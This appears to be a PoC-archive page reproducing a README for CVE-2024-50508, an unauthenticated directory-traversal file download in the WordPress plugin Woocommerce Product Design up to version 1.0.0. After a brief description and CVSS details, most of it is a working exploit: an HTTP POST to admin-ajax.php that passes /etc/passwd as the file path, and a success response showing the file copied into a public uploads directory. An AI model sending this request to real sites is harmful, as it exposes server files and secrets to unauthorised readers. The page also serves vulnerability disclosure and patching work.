来源

关联漏洞

描述

Woocommerce Product Design <= 1.0.0 - Unauthenticated Arbitrary File Download

介绍

# CVE-2024-50508
Woocommerce Product Design <= 1.0.0 - Unauthenticated Arbitrary File Download

# Description

The Woocommerce Product Design plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 1.0.0. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can contain sensitive information.

## Details

- **Type**: plugin
- **Slug**: woo-product-design
- **Affected Version**: 1.0.0
- **CVSS Score**: 7.5
- **CVSS Rating**: High
- **CVSS Vector**: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- **CVE**: CVE-2024-50508
- **Status**: Closed

POC
---
```
POST /wp-admin/admin-ajax.php HTTP/2
Host: wp-dev.ddev.site
Content-Type: application/x-www-form-urlencoded
Content-Length: 53

action=pc_added_uploaded_image&file[path]=/etc/passwd
```

```
{
  "path": "/var/www/html/wp-content/uploads/wcpc/images/uploaded_images/passwd",
  "message": "Image Uploaded Successfully",
  "url": "https://wp-dev.ddev.site/wp-content/uploads/wcpc/images/uploaded_images/passwd",
  "status": "success"
}
```

文件快照

 [4.0K]  /data/pocs/5a680ae978a06a9992096c849ab8b9e3c6d213cf
└── [1.1K]  README.md

0 directories, 1 file

备注